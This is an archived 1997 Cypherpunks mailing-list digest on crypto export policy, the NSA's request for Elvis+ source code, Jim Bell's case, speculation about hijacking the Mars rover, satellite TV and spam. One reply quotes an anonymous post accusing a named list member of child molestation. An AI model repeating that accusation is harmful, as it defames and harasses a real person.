From nobody at REPLAY.COM  Mon Jul  7 08:30:23 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 23:30:23 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707071515.RAA19807@basement.replay.com>



On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Mike  writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
>
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).

The case against him was lost.






From rah at shipwright.com  Mon Jul  7 08:38:10 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 7 Jul 1997 23:38:10 +0800
Subject: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: 



I think I figured something out.

Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
list, we get bot noise. The bot's listening for Tim.

Cheers,
Bob



At 6:52 am -0400 on 7/7/97, Anonymous wrote:


> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
>
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Mon Jul  7 08:41:05 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 7 Jul 1997 23:41:05 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
Message-ID: 




--- begin forwarded text


Mime-Version: 1.0
X-Pgp-Keyid-Fprnt: C053E51D - 4FA3298150E404F2  782501876EA2146A
X-Pgp:
http://keys.pgp.com:11371/pks/lookup?op=vindex&search=Vinnie+Moscaritolo&fingerp
rint=on&exact=on
Date: Sun, 6 Jul 1997 19:39:14 -0700
To: rah at shipwright.com
From: Vinnie Moscaritolo 
Subject: FYI: NSA Requests Source Code From Elvis+


--- begin forwarded text


The following was posted on Computer Reseller News:


NSA Requests Source Code From Elvis+
By Deborah Gage

Mountain View, Calif.
3:00 p.m. EST Thurs., July 3, 1997
.............

The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
the Russian networking company in which Sun has a 10 percent stake, to
turn over the source code of its SunScreen SKIP E+.

At press time, Sun and the NSA still were negotiating over which parts of
the code Sun must turn over. Elvis+ President and Chief Executive
Alexander Galitsky has refused to turn over all the source code on the
grounds that the government does not need it.

"We will offer the NSA a nondisclosure  agreement and two to four code
modules so they can compare our source code with Sun's source code," said
Steven Hunzicker, chief operating officer of Russia Communications
Research Inc., a technology broker for Elvis+ in Los Gatos, Calif. "We
want to be reasonable and respectful, but not foolish. To ask for the
entire source code is unreasonable in any type of environment, business
or otherwise. Sun wouldn't give up their whole source code to the
government."

This is the latest development between the government, Elvis+ and Sun
over encryption policy. In May, Mountain View, Calif.-based Sun hoped to
sidestep U.S. encryption laws by selling the Elvis+ technology overseas
and importing it into the United States (CRN, May 26). Sun has exclusive
rights to the Elvis+ products on Windows 95 and 3.11. Moreover, the
Elvis+ technology is built from Sun's SKIP encryption and key management
protocol.

A Sun spokeswoman said Sun was in communication with the U.S. Department
of Commerce, but otherwise had no comment.

The Commerce Department, meanwhile, either will escalate its inquiry into
a full-scale investigation or resolve the issue, said a spokeswoman for
the department.

The NSA declined to comment on the matter.

Sources familiar with the inquiry said the Commerce Department is leaning
toward quiet resolution, despite the NSA's request. "This is not a fight
worth fighting," one source said. "They're watching the situation, but
right now no one wants to play."

Sun also acknowledged this week that the U.S. State Department is
investigating the diversion of a Sun server for unapproved use in China.

A Sun spokesman said the company is cooperating with the government and
is in touch with both the reseller and buyer of the server in an attempt
to get it back.

The spokesman refused to provide further details, citing national
security concerns.


--- end forwarded text




Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
PGP:      4FA3298150E404F2782501876EA2146A
DSS/DH:   B36343A790489C8D4E149147D57A7566C206F586

1 if by land, 2 if by sea.
	 Paul Revere - encryption 1775

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From paulmerrill at acm.org  Mon Jul  7 09:00:19 1997
From: paulmerrill at acm.org (Paul H. Merrill)
Date: Tue, 8 Jul 1997 00:00:19 +0800
Subject: Hack the Mars rover
In-Reply-To: 
Message-ID: <33C13960.7AAF@acm.org>



Ryan Anderson wrote:
> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find?
>
The appropriate question is how much encryption (and other security) is
needed if interrupting the traffic causes the loss of a great deal of
money and difficult (if possible at all) fixes.  This is the mindset of
the Fed security wienies when specifying and designing; thus it must be
the mindset of the non-Fed Wienie looking to crack.

 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill at acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.






From mwohler at ix.netcom.com  Mon Jul  7 09:24:01 1997
From: mwohler at ix.netcom.com (Marc J. Wohler)
Date: Tue, 8 Jul 1997 00:24:01 +0800
Subject: can i join
Message-ID: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>



At 10:37 PM 7/6/97 -0500, you wrote:
>
>Drifter0 at aol.com wrote:
>
>> thanx
>
>   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
>proper procedures.
>
>Time for the flame-form.
>-----------------------------
>Dear:

Bennett,

I got some chuckles from your  'Flame Form' and sympathize with view
expressed therein.

However:

How do you propose that we get our import  message of strong crypto
awareness out to the clueless if we display elitism, impatience and
intolerance to their ignorance?

Marc









From kent at songbird.com  Mon Jul  7 09:26:56 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 8 Jul 1997 00:26:56 +0800
Subject: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <19970707091103.21159@bywater.songbird.com>



On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> I think I figured something out.
> 
> Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> list, we get bot noise. The bot's listening for Tim.
> 
> Cheers,
> Bob

It should be clear by now that Tim actually runs the bot.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ulf at fitug.de  Mon Jul  7 09:37:26 1997
From: ulf at fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Jul 1997 00:37:26 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: 
Message-ID: <9707071618.AA63188@public.uni-hamburg.de>



> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> the Russian networking company in which Sun has a 10 percent stake, to
> turn over the source code of its SunScreen SKIP E+.

Why should the US government get access to the source code of foreign
product being imported to the US?






From alano at teleport.com  Mon Jul  7 10:06:34 1997
From: alano at teleport.com (Alan)
Date: Tue, 8 Jul 1997 01:06:34 +0800
Subject: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: 



On Mon, 7 Jul 1997, Peter Trei wrote:

> John Young  writes:
>        
> > On June 26 the court handling Jim's case extended
> > the time from June 30 to July 11 for the USA to file an 
> > indictment.
> > 
> > This is from an on-line docket of the case via 
> > Public Access to Court Electronic Records (PACER)
> > a subcription service for federal courts.
> > 
> > No indication that Jim has been released, jailed since 
> > his arrest on May 16. No reason given for repeated
> > waiver of right to a speedy trial.
> > 
> > The docket's at:
> > 
> >    http://jya.com/jimbell-dock.htm
> 
> Thanks for keeping us up to date. Jim always seemed to
> me to be a loony, but I never (and still don't) think
> he's capable of the things the warrent alleges him to
> have been planning.

Agreed.  The time I met Jim he seemed like a loon.  A harmless one at
that...  (The stinkbomb attacks are about as far as he would go.  (And I
happen to know that he is guilty of at least one of those.))

The government seems pretty afraid of someone who only has a history of
petty vandalism with chemicals.  I wonder what else they are afraid of and
to what lengths they will go to stop it.

Reminds me of some of the "government is dead" threads of a couple of
years back.  My response was something to the effect of "The government is
not like an old man dying in a corner.  It is more like an old man having
an epeliptic seizure in a crowded mall with lots of guns.".  If the
govenrment is on the way to losing its power over the people, they are
going to take as many of us down with them on the way out.

alano at teleport.com | "Those who are without history are doomed to retype it."






From randerso at ece.eng.wayne.edu  Mon Jul  7 10:06:53 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Tue, 8 Jul 1997 01:06:53 +0800
Subject: Hack the Mars rover
In-Reply-To: <33C13960.7AAF@acm.org>
Message-ID: 



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> The appropriate question is how much encryption (and other security) is
> needed if interrupting the traffic causes the loss of a great deal of
> money and difficult (if possible at all) fixes.  This is the mindset of
> the Fed security wienies when specifying and designing; thus it must be
> the mindset of the non-Fed Wienie looking to crack.

Well, if it matters any, my initial impression was that this discussion
was based upon taking over the rover, not necessarily upon just performing
a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
taking it over, on the other hand could be fun..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From user329 at ybecker.net  Tue Jul  8 01:06:59 1997
From: user329 at ybecker.net (user329 at ybecker.net)
Date: Tue, 8 Jul 1997 01:06:59 -0700 (PDT)
Subject: You Might Find This Interesting & Informative.  I Did.
Message-ID: <011297055501222@g_health.com>



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                                                            - 30 -









From Kevin.L.Prigge-2 at tc.umn.edu  Mon Jul  7 10:07:18 1997
From: Kevin.L.Prigge-2 at tc.umn.edu (Kevin L Prigge)
Date: Tue, 8 Jul 1997 01:07:18 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: 
Message-ID: <33c11bde062e002@earth.tc.umn.edu>



Dr.Dimitri Vulis KOTM said:
> Mike  writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
> 
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).
> 

And the charge was dismissed.

http://www.leepfrog.com/E-Law/Cases/US_v_LaMacchia.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |






From tcmay at got.net  Mon Jul  7 10:20:02 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 01:20:02 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: 



At 7:39 AM -0700 7/7/97, Robert Hettinga wrote:
>I think I figured something out.
>
>Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
>list, we get bot noise. The bot's listening for Tim.
>

An interesting observation. Indeed, I've been down in LA and San Diego for
the past 5 days.

Did the Vulisbot stop posting during my absence? My vague recollection is
that the bot had been quiescent for some time prior to my trip down south,
and I had been (vaguely) ascribing this quiescence to the problems Vulis
has said he is having with his normal computer.

If the Vulisbot is triggered by my posts (but fortunately is limited to
only one or so per day, not to each of my N posts per day), I don't plan to
stop posting just to save you all the halfwit of whomever is responsible.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon Jul  7 10:30:19 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 01:30:19 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: 
Message-ID: 



At 9:18 AM -0700 7/7/97, Ulf M�ller wrote:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

Because the United States of America is no longer a nation of laws. And
because, as some clever wag put it several years ago, "'national security'
is the root pass phrase of the Constitution."

(Sidestepping the issue that there are many thousands of
variously-interpreted laws, and presumably some law could be found
somewhere which says the NSA has the authority to demand whatever they
wish...)

I'd like to see Sun take a strong stance on this: "Show us the specific law
which lets you look at _imports_."

Actually, they have a sort of case for looking at imports: If imports are
unrestricted but exports are controlled, even if the export is just
re-export of an import (!), then someone somewhere in government presumably
has to confirm they are the same.

(And there are even some laws banning reexport of cryptographic code even
if it was imported, as we all know.)

But the real reason is that NSA and Commerce don't like this trend of
foreign developers sidestepping the U.S. crypto export laws...as with
Elvis+, Stronghold, etc. And they ain't going to allow it to go on for much
longer.

And criminals in the Congress will compliantly give them the laws they want
to put an end to this.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Mon Jul  7 10:52:52 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 8 Jul 1997 01:52:52 +0800
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga,  .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to  .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to  .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


- -----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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From tcmay at got.net  Mon Jul  7 11:01:25 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 02:01:25 +0800
Subject: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: 



At 11:07 PM -0700 7/5/97, Lucky Green wrote:
>My local cable killing Mars rover deployment in favor of local dog tag
>ordinances (as required by the city), made me realize it that getting my
>own dish is way overdue.
>
>I would appreciate reports on any first hand experiences subscribers to
>this list have with satellite services. Yes, NASA TV and the SF channel is
>a must. :-)

I'm copying the list for my usual reasons. Plus, others may be interested.

I've had a DSS system for 15 months, and strongly recommend it, with a few
caveats I'll get to. I run my system into a Sony S-VHS deck and thence out
to a 32-inch direct view Pro-Scan monitor. (And to sets in other rooms.)

DSS is the leading 18-inch system, with DirectTV, USSB, Hughes, RCA, Sony,
etc. being the main names. The main competing system  being the Dish TV
system.

For about $60 a month I get the usual hundred or so channels, 5 channels of
HBO, 3 channels of Showtime, 3 of Cinemax, 3 of The Movie Channel, and
multiple others. And CNN, CNN-International, CNN-FN, blah blah. And CSPAN
(Congressional Sycophants, Panderers and Assholes Network). And the Sci-Fi
channel, though I never watch it (plenty of good recent vintage SF movies
on the major HBO types of networks, and Sci Fi channel often has
infomercials, etc.).

There is supposedly an Internet downfeed of some sort coming, but I'm not
counting on it. (The receiver box has a digital output cable; no uplink, of
course, but the proposed use involves a telephone connection for the user
responses.)

Advantages: Dish is very small and light. Fixed aiming, which means it can
be aimed and forgotten, with no mechanical motors, no maintenance, no lag
time in reacquiring a satellite. Dish can be mounted anywhere a clear view
of the southern sky is available. Exact aiming details for any location are
available (try Web sites, or Usenet newsgroups like *.dss.*, etc.). The
dish can be bolted on the side of houses, apartments, etc. Not in trees,
though, or where trees will even partly block the line of sight.

The picture quality is very good for some things. No snow, no thermal noise
("sparklies").  See next section.

Disadvantages: The system is all digital transmission. MPEG-2 is used for
compression. This can result in compression artifacts, especially in
fast-changing scenes (sports, for example).

The first year I had the system, I noticed almost no compression artifacts.
Recently, though, the various programmers like HBO and Encore added more
channels. I surmise this was done by cranking up the compression factors,
as many people are complaining loudly on the Net about seeing more
"pixelation" or "blocking" artififacts.

I'm hoping they tweak the algorithms and ratios to lessen this problem.

One or more additional satellites are expected to go up, so this may help.

I'd still recommend it. Over the competing systems like Dish TV, and
certainly over the 8-foot BUDs (Big Ugly Dishes, the C-band systems).

Readers with good memories may note that I mentioned Ku-band satellites in
my Crypto Anarchist Manifesto, written and distributed in 1988. Things have
come full circle.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From markdan at wans.net  Tue Jul  8 02:11:19 1997
From: markdan at wans.net (markdan at wans.net)
Date: Tue, 8 Jul 1997 02:11:19 -0700 (PDT)
Subject: Free Florida Vacation
Message-ID: <0000000000.AAA000@wans.net>



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* This advertisement is being used for the purpose of soliciting Interval Ownership time periods.








From kent at songbird.com  Mon Jul  7 11:18:57 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 8 Jul 1997 02:18:57 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <19970707110450.55022@bywater.songbird.com>



On Wed, Jul 02, 1997 at 08:21:23PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <19970702180331.11847 at bywater.songbird.com>, on 07/02/97 
>   at 06:03 PM, Kent Crispin  said:
>
>>"There is something right when Kent Crispin is not a felon under an 
>>increasing number of laws."
>
>Just goes to show that you can goose-step with the best of them Kent.

You learn the darndest things on this list....

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From frissell at panix.com  Mon Jul  7 11:45:32 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 8 Jul 1997 02:45:32 +0800
Subject: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: <3.0.2.32.19970707142902.03808124@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:43 AM 7/7/97 -0700, Alan wrote:
>Reminds me of some of the "government is dead" threads of a couple of
>years back.  My response was something to the effect of "The government is
>not like an old man dying in a corner.  It is more like an old man having
>an epeliptic seizure in a crowded mall with lots of guns.".  If the
>govenrment is on the way to losing its power over the people, they are
>going to take as many of us down with them on the way out.

Though neither the USSR nor the DDR did when they "went out."  Likewise the 
Catholic Church when it "went out" (as a secular political power in Europe) 
at some point between 1400 and 1900.  

Those three institutions killed the bulk of their victims in their earlier 
more virile phases than they did in their senesence.  That seems likely with 
our government as well.

Single incidents like Bell's arrest prove nothing.  Operation Sun Devil 
looked big at the time but did not lead to an effective government crackdown 
on cyberspace.  It was actually a tactical and strategic loss for them.  If 
Bell gets a dismissal or pleads to minor charges, it will be a loss for the 
Feds as well.  Their losses against Phil Z and Jake Baker exposed the 
weakness of their control regimes when applied to the Net.

DCF
 


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From sunder at brainlink.com  Mon Jul  7 12:03:38 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 8 Jul 1997 03:03:38 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <9707071618.AA63188@public.uni-hamburg.de>
Message-ID: 



On Mon, 7 Jul 1997, Ulf [iso-8859-1] M�ller wrote:

> Why should the US government get access to the source code of foreign
> product being imported to the US?

Because they are scum who don't care about the property rights of
corporations.  I wonder what would happen if Sun would instead say "Fuck
you no way" or whether they were threatened into giving it up?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From paulmerrill at acm.org  Mon Jul  7 12:43:16 1997
From: paulmerrill at acm.org (Paul H. Merrill)
Date: Tue, 8 Jul 1997 03:43:16 +0800
Subject: Hack the Mars rover
In-Reply-To: 
Message-ID: <33C16E41.6270@acm.org>



Ryan Anderson wrote:
> 
> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson -      "Who knows, even the horse might sing"
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
Picture breaking the Rover -- How many Earthly JoyRides end in Wrecks?
Picture "Finding an undocumented feature" which causes it to cease and
desist.
Picture the simple lost time on target for the mission.

Each of these and a bunch more goes into the "cost of takeover" for the
equation.  In short, of course it is encrypted.

DISCLAIMER:  Never said it, never meant it, and I apologize to anyone
who got the impression I was speaking as thpough others were theorizing
on simple break the rich kid's toys escapades.

PHM
-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill at acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.






From azur at netcom.com  Mon Jul  7 12:55:41 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 8 Jul 1997 03:55:41 +0800
Subject: Hoarding
Message-ID: 



I heard yesterday, second hand, that hoarding of large amounts of food is
now a federal crime.  The explanation I heard was that it was intended to
thwart militias.  Has anyone else on the list heard this loony info?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky







From nobody at www.video-collage.com  Mon Jul  7 13:06:48 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Tue, 8 Jul 1997 04:06:48 +0800
Subject: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: <97Jul7.155601edt.32257@brickwall.ceddec.com>



On Sun, 6 Jul 1997, Lucky Green wrote:

> 
> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

I have the Dish Network (www.dishnetwork.com 1-800-333-dish).  They don't
have NASA, but do have SCI-FI, and National Empowerment Television
(net.fcref.org), both C-spans, court-tv, several cnn/cnbc type channels.
I am really happy with it.  With their "better system" (dual lbnf) you can
hang up to 4 receivers - which have to be their own, but the 5000 can get
off-air and includes event timers and even caller-id!  They also offer 6
channel HBO, multi cinemax, etc.  I would take a look.

The big dish would get most of the above, and NASA, but would cost more.

I also looked at primestar/ussb/etc.  Also lots of channels, but a
different set.  I like NET, and some of the channels only on dish, but you
may prefer the channels other providers have

--- reply to tzeruch - at - ceddec - dot - com ---






From nobody at www.video-collage.com  Mon Jul  7 13:07:07 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Tue, 8 Jul 1997 04:07:07 +0800
Subject: e$: $MTP? (fwd)
In-Reply-To: 
Message-ID: <97Jul7.160022edt.32258@brickwall.ceddec.com>



On Sat, 5 Jul 1997, Paul Bradley wrote:

> > > Frankly, I see no other solution to this problem in the long run except for
> > > postage, which means it's probably time to start figuring out, in earnest,
> > > how to make it all work. Whoever becomes the lowest cost producer of this
> > > kind of software stands to make a whole *bunch* of money.
> > 
> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> I personally see hashcash as the ideal way to solve this problem, and in 
> Adam Back`s analysis of the hashcash solution he mentions mailing lists 
> and suggest that filtering software have an explicit "filter in" command, 
> so you could eliminate any mail coming from the list from needing to have 
> cash attached. Of course the spammers could then just spam mailing lists, 
> but that it a much smaller problem than the current random UCE problem.

If all mail relays were either limited to sending to or from their
domains, and had a settable quota on Bcc: it would go a long way.  Since
mailers are high in Bcc, they could get a large quota.

I don't think spammers now send 500 discrete messages, especially long
ones, merely Bcc: 500 people.

--- reply to tzeruch - at - ceddec - dot - com ---







From shamrock at netcom.com  Mon Jul  7 13:10:44 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 8 Jul 1997 04:10:44 +0800
Subject: Hack the Mars rover
In-Reply-To: 
Message-ID: 



Yes, the idea was to take over the rover. A DoS would be an extremely 
